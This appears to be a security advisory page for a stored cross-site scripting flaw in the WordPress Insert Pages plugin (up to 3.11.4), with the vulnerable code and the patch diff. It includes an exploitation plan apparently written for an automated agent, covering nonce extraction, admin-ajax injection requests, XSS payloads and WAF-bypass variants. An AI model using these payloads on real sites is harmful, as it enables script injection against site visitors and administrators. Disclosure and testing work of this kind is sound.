CVE-2026-10089

Insert Pages <= 3.11.4 - Authenticated (Author+) Stored Cross-Site Scripting via Custom Field Keys (Meta Key Names)

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.11.5
Patched in
1d
Time to patch

Description

The Insert Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post custom field keys (meta key names) in all versions up to, and including, 3.11.4. This is due to insufficient output escaping in the the_meta() function: while the custom field VALUE is sanitized with wp_kses_post(), the custom field KEY ($key) is interpolated into the rendered HTML (lines 1786-1791) and echoed (line 1806) without any escaping when an inserted page is rendered with the [insert page='ID' display='all'] shortcode. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.11.4
PublishedJuly 1, 2026
Last updatedJuly 2, 2026
Affected plugininsert-pages

What Changed in the Fix

Changes introduced in v3.11.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-10089 ## 1. Vulnerability Summary **CVE-2026-10089** is a Stored Cross-Site Scripting (XSS) vulnerability in the **Insert Pages** plugin (<= 3.11.4). The vulnerability exists in the plugin's custom implementation of meta-data rendering (likely a function named…

Show full research plan

Exploitation Research Plan: CVE-2026-10089

1. Vulnerability Summary

CVE-2026-10089 is a Stored Cross-Site Scripting (XSS) vulnerability in the Insert Pages plugin (<= 3.11.4). The vulnerability exists in the plugin's custom implementation of meta-data rendering (likely a function named the_meta()). While the plugin sanitizes custom field values using wp_kses_post(), it fails to escape the custom field key (the name of the meta entry). An authenticated attacker with Author-level permissions can create a post with a malicious meta key. When this post is embedded into another page using the [insert display='all'] shortcode, the script executes in the context of any user viewing the page.

2. Attack Vector Analysis

  • Authentication Level: Author or higher (Users who can create posts and manage custom fields).
  • Vulnerable Endpoint: Frontend pages where the [insert] shortcode is rendered.
  • Injection Point: Post Custom Field Keys (Meta Keys).
  • Payload Parameter: metakeyinput or metakeyselect (during post creation/edit).
  • Trigger: The shortcode [insert page='{ID}' display='all']. The display='all' attribute is the critical trigger that forces the plugin to iterate through and display meta keys.

3. Code Flow

  1. Entry Point: insert_pages_handle_shortcode_insert() (shortcode handler) is invoked when WordPress parses [insert].
  2. Parameter Processing: The handler extracts the display attribute.
  3. Conditional Branch: If display === 'all', the plugin logic proceeds to render all post components, including custom fields.
  4. Vulnerable Sink: The plugin calls a helper function (identified in the description as the_meta() around lines 1786-1806 in insert-pages.php).
  5. Iteration: The code iterates through the results of get_post_custom_keys($post_id).
  6. Rendering (Line 1806): The variable $key is echoed directly into the HTML buffer without using esc_html() or esc_attr(), whereas the $value is correctly passed through wp_kses_post().

4. Nonce Acquisition Strategy

To inject the payload, the attacker must add a custom field to a post. In WordPress, this usually requires an admin-ajax nonce for the add-meta action.

  1. Identify Shortcode: The plugin's primary shortcode is [insert].
  2. Create Setup Page:
    wp post create --post_type=page --post_status=publish --post_title="XSS Trigger" --post_content='[insert page="SOURCE_ID" display="all"]'
    
  3. Obtain Injection Nonce:
    To inject via HTTP (simulating the UI), the agent should:
    • Login as an Author.
    • Navigate to wp-admin/post-new.php.
    • Extract the _ajax_nonce-add-meta from the page source using browser_eval.
    • browser_eval("document.getElementById('_ajax_nonce-add-meta')?.value")

Note: If the agent has Author credentials, the most direct path for the PoC is to use the admin-ajax.php endpoint with the add-meta action.

5. Exploitation Strategy

Step 1: Inject Stored XSS

The attacker (Author) adds a custom field where the Name is the payload.

  • Endpoint: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: add-meta
    • _ajax_nonce-add-meta: (Obtained from Step 4)
    • post_id: {SOURCE_POST_ID}
    • metakeyinput: <img src=x onerror=alert(document.domain)>
    • metavalue: SafeValue

Step 2: Trigger XSS

Create or edit a second post (the "Trigger Page") containing the shortcode pointing to the "Source Post".

  • Shortcode: [insert page='{SOURCE_POST_ID}' display='all']

Step 3: Execution

Navigate to the "Trigger Page" URL as an unauthenticated user or an administrator.

6. Test Data Setup

  1. Attacker User: Create a user with the author role.
  2. Source Post: Create a post (ID: X) as the Author.
  3. Trigger Page: Create a public page (ID: Y) containing [insert page='X' display='all'].
  4. Custom Field: Use wp-cli to quickly set up the vulnerable state if the HTTP injection is blocked by environment firewalls:
    wp post meta add {X} "<img src=x onerror=alert(document.domain)>" "vulnerable"
    

7. Expected Results

  • When viewing the "Trigger Page", the browser should attempt to render an image with a broken source (x).
  • The onerror event handler will execute the JavaScript.
  • An alert box showing the document domain will appear.
  • In the HTML source, the meta list will look like:
    <li><span class='post-meta-key'><img src=x onerror=alert(document.domain)></span> ...</li>

8. Verification Steps

  1. Verify Database State:
    wp db query "SELECT meta_key FROM wp_postmeta WHERE post_id={SOURCE_ID} AND meta_value='vulnerable';"
    
  2. Check Page Output:
    Use the http_request tool to fetch the Trigger Page and grep for the raw payload:
    # The payload should appear UNESCAPED
    grep "<img src=x onerror=alert(document.domain)>" 
    

9. Alternative Approaches

  • SVG Payload: If the site has a WAF blocking <img> tags, try a meta key containing a small SVG:
    • metakeyinput: <svg/onload=alert(1)>
  • Attribute Breakout: If the key is reflected inside an attribute (though the description says it is interpolated in HTML), try:
    • metakeyinput: "><script>alert(1)</script>
  • REST API: Authors can often add meta via the REST API if the meta key is registered as "show_in_rest". However, for arbitrary "Custom Fields", the admin-ajax.php add-meta action is the most reliable vector.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Insert Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post custom field keys in versions up to 3.11.4. This occurs because the plugin fails to escape the meta key name when rendering a post using the [insert display='all'] shortcode, allowing authenticated authors to inject malicious scripts into the rendered HTML.

Vulnerable Code

// From insert-pages.php lines 1780-1806 in version 3.11.4
$values = array_map( 'trim', get_post_custom_values( $key, $post_id ) );
$value  = implode( ', ', $values );

// Sanitize post meta values.
$value = wp_kses_post( $value );

$html = sprintf(
    "<li><span class='post-meta-key'>%s</span> %s</li>\n",
    /* translators: %s: Post custom field name. */
    apply_filters( 'the_meta_key', $key, $value ),
    $value
);

// ... lines 1792-1801 omitted ...

$li_html .= apply_filters( 'the_meta_key', $html, $key, $value );
}

if ( $li_html ) {
    echo "<ul class='post-meta'>\n{$li_html}</ul>\n";
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/insert-pages/3.11.4/insert-pages.php	2026-05-19 00:16:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/insert-pages/3.11.5/insert-pages.php	2026-06-19 23:36:52.000000000 +0000
@@ -1780,9 +1780,6 @@
 					$values = array_map( 'trim', get_post_custom_values( $key, $post_id ) );
 					$value  = implode( ', ', $values );
 
-					// Sanitize post meta values.
-					$value = wp_kses_post( $value );
-
 					$html = sprintf(
 						"<li><span class='post-meta-key'>%s</span> %s</li>\n",
 						/* translators: %s: Post custom field name. */
@@ -1802,8 +1799,9 @@
 					$li_html .= apply_filters( 'the_meta_key', $html, $key, $value );
 				}
 
+				// Sanitize and print post meta values.
 				if ( $li_html ) {
-					echo "<ul class='post-meta'>\n{$li_html}</ul>\n";
+					echo '<ul class="post-meta">' . wp_kses_post( $li_html ) . '</ul>' . PHP_EOL;
 				}
 			}

Exploit Outline

An attacker with Author-level permissions or higher can exploit this vulnerability through the following steps: 1. Create a new post or edit an existing one (the "Source Post"). 2. Add a custom field (meta data) to the Source Post where the Meta Key (name) contains a JavaScript payload, such as `<img src=x onerror=alert(document.domain)>`. 3. Create or edit a second post (the "Trigger Page") and include the plugin's shortcode referencing the Source Post: `[insert page='SOURCE_POST_ID' display='all']`. 4. When a user (including an administrator) views the Trigger Page, the plugin renders all custom fields of the Source Post. 5. Because the meta keys are echoed directly into the page without escaping, the JavaScript payload executes in the victim's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.